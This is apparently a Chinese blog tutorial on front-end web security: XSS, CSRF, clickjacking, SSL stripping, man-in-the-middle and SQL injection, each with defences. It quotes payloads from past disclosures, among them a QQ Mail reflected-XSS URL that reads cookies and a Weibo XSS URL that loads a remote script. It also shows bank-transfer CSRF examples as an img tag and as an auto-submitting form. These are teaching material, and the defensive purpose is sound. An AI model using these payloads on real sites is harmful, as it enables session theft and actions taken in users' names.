Abo

前端安全哪些事儿

pdd:请你简述一下如何用 CSRF 攻击我🙈


期待鬼灭无线列车篇


        

跨站脚本攻击(XSS)

就是攻击者想尽一切办法将可以执行的代码注入到网页中。注意此时没有通过第三者网站,这个是与CSRF的一大区别。

存储型(server端)

  • 场景:见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
  • 攻击步骤:
    • i)攻击者将恶意代码提交到目标网站的数据库中
    • ii)用户打开目标网站时,服务端将恶意代码从数据库中取出来,拼接在HTML中返回给浏览器
    • iii)用户浏览器在收到响应后解析执行,混在其中的恶意代码也同时被执行
    • iv)恶意代码窃取用户数据,并发送到指定攻击者的网站,或者冒充用户行为,调用目标网站的接口,执行恶意操作
  • 模拟场景:
    • 张三发了一篇帖子,李四进行回复:但内容却是一段js脚本,这篇帖子被他人浏览的时候就会中招,最简单例子的只是一个alert(),但脚本可以写的比较复杂一点盗用用户cookie、token、密码等等操作
    • 劫持流量实现恶意跳转,用户打开的网址,会默认跳转至指定网站,脚本如下:<script>window.location.href="http://www.baidu.com";</script> 
    • 跟上者类似,除了这种hacker还有个很惯用的伎俩,例如存储型XSS生成一些诱人的图片,然后用户去点击的时候就可以执行某些坏事,窃取信息或者诱导到钓鱼网站。

反射型(Server端)

与存储型的区别在于,存储型的恶意代码存储在数据库中,反射型的恶意代码在URL上,可以理解成我直接发一个链接给你,由你来作死打开

  • 场景:通过 URL 传递参数的功能,如网站搜索、跳转等。

  • 攻击步骤:

    • i)攻击者构造出特殊的 URL,其中包含恶意代码。

      比如http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>

    • ii)用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。

    • iii)用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

    • iv)恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

  • 模拟场景:

    • i)Alice给Bob发送一个恶意构造了Web的URL。
    • ii)Bob点击并查看了这个URL。
    • iii)恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
    • iv)具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
    • v)Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

1
<script>  getTop().location.href= "/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa" + "&t=" + "&d=bbbb" ; return   false ;  </ script >  < script >  alert( document .cookie)  </ script > "+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

1
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

1
<li>  <a href = "http://weibo.com/pub/star/g/xyyyd" >  < script   src = //xxxx.cn/image/t.js >  </ script > ">按分类检索 </ a >  </ li >

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

Dom 型(浏览器端)

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

前面两种可以理解成借刀杀人,借的服务器的刀,攻击用户,而DOM型仅仅是前端Web这边处理不严谨,出现漏洞,一般与href或者innerHTML或eval这类可以直接处理脚本的属性或标签及功能函数有关

  • 场景:通过 URL 传递参数的功能,如网站搜索、跳转等。
  • 攻击步骤:
    • i)攻击者构造出特殊的 URL,其中包含恶意代码。
    • ii)用户打开带有恶意代码的 URL。
    • iii)用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
    • iv)恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
  • 模拟场景:
    • 前端Dom型漏洞,有如当我们把输入框与href的执行绑定在一起,这个时候攻击者就可以通过键入js脚本来进行攻击
  • 常见Dom型漏洞

eval()setTimeout()setInterval()Function()innerHTMLdocument.write()

预防方案

  1. 防止攻击者提交恶意代码
  2. 防止浏览器执行恶意代码
  • 对数据进行严格的输出编码:如HTML元素的编码,JS编码,CSS编码,URL编码等等
    • 避免拼接 HTML;Vue/React 技术栈,避免使用 v-html / dangerouslySetInnerHTML
  • CSP HTTP Header,即 Content-Security-Policy、X-XSS-Protection
    • 增加攻击难度,配置CSP(本质是建立白名单,由浏览器进行拦截)
    • Content-Security-Policy: default-src 'self'-所有内容均来自站点的同一个源(不包括其子域名)
    • Content-Security-Policy: default-src 'self' *.trusted.com-允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)
    • Content-Security-Policy: default-src https://yideng.com-该服务器仅允许通过HTTPS方式并仅从yideng.com域名来访问文档
  • 输入验证:比如一些常见的数字、URL、电话号码、邮箱地址等等做校验判断
  • 开启浏览器XSS防御Http Only cookie,禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作
  • 使用模板引擎中的自带转义功能
  • 避免内联脚本,比如onclick=’xxxx’,在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。

跨站请求伪造(CSRF)

攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

CSRF(Cross-Site Request Forgery)的全称是“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSRF或者XSRF。CSRF的中文名称尽管听起来像跨站脚本攻击(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来攻击受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

攻击流程举例

  • 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  • 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  • 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  • 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

从上面的流程可以看出,想要达成CSRF攻击,必须达到两个基本条件:

  • 登录受信任站点A,并在本地生成Cookie。
  • 在不登出A的情况下,訪问危急站点B。

我们可以这么理解 CSRF攻击:攻击者首先盗用了你的身份,然后以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的账户购买商品等。CSRF攻击其实是利用了web中用户身份认证验证的一个漏洞:简单的身份验证仅仅能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

攻击类型

GET型

如在页面的某个 img 中发起一个 get 请求,仅仅须要一个HTTP请求。就能够构造一次简单的CSRF

银行站点A:它以GET请求来完毕银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危急站点B:它里面有一段HTML的代码例如以下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行站点 A,然后訪问危急站点 B,这时你会发现你的银行账户少了 1000块。为什么会这样呢?原因是银行站点 A 违反了 HTTP规范,使用GET请求更新资源。在訪问危急站点B的之前,你已经登录了银行站点A,而 B中的 一个合法的请求,但这里被不法分子利用了)。所以你的浏览器会带上你的银行站点 A的 Cookie发出 Get请求,去获取资源以 GET的方式请求第三方资源(这里的第三方就是指银行站点了,原本这是 http://www.mybank.com/Transfer.php?toBankId=11&money=1000 ,结果银行站点服务器收到请求后,觉得这是一个更新资源操作(转账操作),所以就立马进行转账操作。

POST型

这种类型的CSRF危害没有GET型的大,利用起来通常使用的是一个自动提交的表单(通过自动提交表单到恶意网站),如:

1
2
3
4
<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

利用 js进行自动提交的操作

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

需要诱导用户点击链接

顾名思义,用户访问攻击网站后,攻击网站通过广告或者透明化iframe或者透明化的按钮来诱导用户点击链接进行请求,比如在诈骗网站,点击登录后,获取QQ账号及密码。换言之,其实也是GET型跟POST型攻击的变种,只是多了需要用户点击的一个流程。

CSRF漏洞测试

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

预防方案

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

验证HTTP referer字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。

说白了,Referer的值相当于访问者指纹,这样可以杜绝一部分的CSRF请求攻击,当非法用户通过构造跨站点伪造POST或者GET请求时,我们通过验证referer的域名头可以筛选掉攻击请求。

这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。

即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问

验证Referer方式总结

  • 优点:使用方便,开发简单,一定程度上能预防CSRF攻击;
  • 缺点:这种机制完全依托于浏览器,Referer字段容易被故意篡改,或者被禁用

请求中添加Token并验证

Token就是服务端返回给客户端类似sessionId那样一长串的类值(长是为了防暴力猜解)。CSRF依赖于浏览器该问链接时自动对应网站的cookie带上,Token不放cookie(一般form表单加个hidden属性的input标签来存放)CSRF就没法获取Token,这样我们就可以通过检测发送过来的数据包中是否有正确的Token值来决定是否响应请求。一句话理解就是,攻击者借刀杀人的时候,拿不到刀了,cookie会自带,但是TOKEN需要用户在请求的时候自己附上,所以遏制住了CSRF攻击。

在只考虑防CSRF不考虑防重放的情况下,TOKEN设计就简单多了

使用sessionid作为token设计:在CSRF中cookie是浏览器自己带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可(或者也可以做些运算比如取sessionid的某些值做个md5来做为token,意思都差不多)。判断代码类似 if session[“id”] == $_POST[“token”]

与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token可以存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session[“token”] == $_POST[“token”]

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue而对于 POST 请求来说,要在 form 的最后加上”tokenvalue”/,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。另外还有一个问题就是怎么保障token本身的存储安全,不要被黑客截获。

验证token方式总结

  • 安全程度比Referer的方式要高;
  • 实现方式上稍微复杂;
  • 需要保证token存储的安全性。

在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

验证Head属性方式总结

  • 使用方式较简单,而且token不容易泄露
  • 使用场合较少,局限性较大。

总结及其他方式

  • i)同源检测:通过Header中的Origin Header 、Referer Header 确定,但不同浏览器可能会有不一样的实现,不能完全保证
  • ii)CSRF Token 校验:将CSRF Token输出到页面中(通常保存在Session中),页面提交的请求携带这个Token,服务器验证Token是否
    正确
  • iii)双重cookie验证:
    • 流程:
      • 步骤1:在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)
      • 步骤2:在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)
      • 步骤3:后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。
    • 优点:
      • 无需使用Session,适用面更广,易于实施。
      • Token储存于客户端中,不会给服务器带来压力。
      • 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。
    • 缺点:
      -Cookie中增加了额外的字段。
      -如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
      -难以做到子域名的隔离。
      -为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。
  • iv)Samesite Cookie属性:Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,Strict 为任何情况下都不可以作为第三方 Cookie ,Lax 为可以作为第三方 Cookie , 但必须是Get请求

iframe安全

说明

  • i)嵌入第三方 iframe 会有很多不可控的问题,同时当第三方 iframe 出现问题或是被劫持之后,也会诱发安全性问题
  • ii)点击劫持
    • 攻击者将目标网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,诱导用户点击。
  • iii)禁止自己的 iframe 中的链接外部网站的JS

预防方案

  • i)为 iframe 设置 sandbox 属性,通过它可以对iframe的行为进行各种限制,充分实现“最小权限“原则
  • ii)服务端设置 X-Frame-Options Header头,拒绝页面被嵌套,X-Frame-Options 是HTTP 响应头中用来告诉浏览器一个页面是否可以嵌入iframe中
    • eg.X-Frame-Options: SAMEORIGIN
    • SAMEORIGIN: iframe 页面的地址只能为同源域名下的页面
    • ALLOW-FROM: 可以嵌套在指定来源的 iframe 里
    • DENY: 当前页面不能被嵌套在 iframe 里
  • iii)设置 CSP 即 Content-Security-Policy 请求头
  • iv)减少对 iframe 的使用

HTTPS

黑客可以利用SSL Stripping这种攻击手段,强制让HTTPS降级回HTTP,从而继续进行中间人攻击。

预防方案

使用HSTS(HTTP Strict Transport Security),它通过下面这个HTTP Header以及一个预加载的清单,来告知浏览器和网站进行通信的时候强制性的使用HTTPS,而不是通过明文的HTTP进行通信。这里的“强制性”表现为浏览器无论在何种情况下都直接向务器端发起HTTPS请求,而不再像以往那样从HTTP跳转到HTTPS。另外,当遇到证书或者链接不安全的时候,则首先警告用户,并且不再
用户选择是否继续进行不安全的通信。

静态资源完整性校验

使用 内容分发网络 (CDNs) 在多个站点之间共享脚本和样式表等文件可以提高站点性能并节省带宽。然而,使用CDN也存在风险,如果攻击者获得对 CDN 的控制权,则可以将任意恶意内容注入到 CDN 上的文件中 (或完全替换掉文件),因此可能潜在地攻击所有从该 CDN 获取文件的站点。

预防方案

将使用 base64 编码过后的文件哈希值写入你所引用的script 标签的 integrity 属性值中即可启用子资源完整性能。

网络劫持

说明

  • DNS劫持(涉嫌违法):修改运行商的 DNS 记录,重定向到其他网站。DNS 劫持是违法的行为,目前 DNS 劫持已被监管,现在很少见 DNS 劫持
  • HTTP劫持:前提有 HTTP 请求。因 HTTP 是明文传输,运营商便可借机修改 HTTP 响应内容(如加广告)。

预防方案

全站 HTTPS

中间人攻击

中间人攻击(Man-in-the-middle attack, MITM),指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者窃听、篡改甚至完全控制。没有进行严格的证书校验是中间人攻击着手点。目前大多数加密协议都提供了一些特殊认证方法以阻止中间人攻击。如 SSL (安全套接字层)协议可以验证参与通讯的用户的证书是否有权威、受信任的数字证书认证机构颁发,并且能执行双向身份认证。攻击场景如用户在一个未加密的 WiFi下访问网站。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容

场景

  • i)在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络
  • ii)Fiddler / Charles (花瓶)代理工具
  • iii)12306 之前的自己证书

过程

  • i)客户端发送请求到服务端,请求被中间人截获
  • ii)服务器向客户端发送公钥
  • iii)中间人截获公钥,保留在自己手上。然后自己生成一个【伪造的】公钥,发给客户端
  • iv)客户端收到伪造的公钥后,生成加密hash值发给服务器
  • v)中间人获得加密hash值,用自己的私钥解密获得真秘钥,同时生成假的加密hash值,发给服务器
  • vi)服务器用私钥解密获得假密钥,然后加密数据传输给客户端

使用抓包工具fiddle来进行举例说明

  • 首先通过一些途径在客户端安装证书
  • 然后客户端发送连接请求,fiddle在中间截取请求,并返回自己伪造的证书
  • 客户端已经安装了攻击者的根证书,所以验证通过
  • 客户端就会正常和fiddle进行通信,把fiddle当作正确的服务器
  • 同时fiddle会跟原有的服务器进行通信,获取数据以及加密的密钥,去解密密钥

sql 注入

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗数据库服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互

预防方案

  • i)后台进行输入验证,对敏感字符过滤。
  • ii)使用参数化查询,能避免拼接SQL,就不要拼接SQL语句。

常见攻击方式

  • 嗅探:嗅探是一种用来捕获流进和流出的网络数据包的技术,就好像是监听电话一样。比如:抓包工具
  • 数据包注入:在这种,攻击者会将恶意数据包注入到常规数据中的,因为这些恶意数据包是在正常的数据包里面的,用户和系统都很难发现这个内容。
  • 会话劫持:当我们进行一个网站的登录的时候到退出登录这个时候,会产生一个会话,这个会话是攻击者用来攻击的首要目标,因为这个会话,包含了用户大量的数据和私密信息。
  • SSL剥离:HTTPS是通过SSL/TLS进行加密过的,在SSL剥离攻击中,会使SSL/TLS连接断开,让受保护的HTTPS,变成不受保护的HTTP(这对于网站非常致命)
  • DNS欺骗,攻击者往往通过入侵到DNS服务器或者篡改用户本地hosts文件,然后去劫持用户发送的请求,然后转发到攻击者想要转发到的服务器
  • ARP欺骗,ARP(address resolution protocol)地址解析协议,攻击者利用APR的漏洞,用当前局域网之间的一台服务器,来冒充客户端想要请求的服务端,向客户端发送自己的MAC地址,客户端无从得到真正的主机的MAC地址,所以,他会把这个地址当作真正
    的主机来进行通信,将MAC存入ARP缓存表。
  • 代理服务器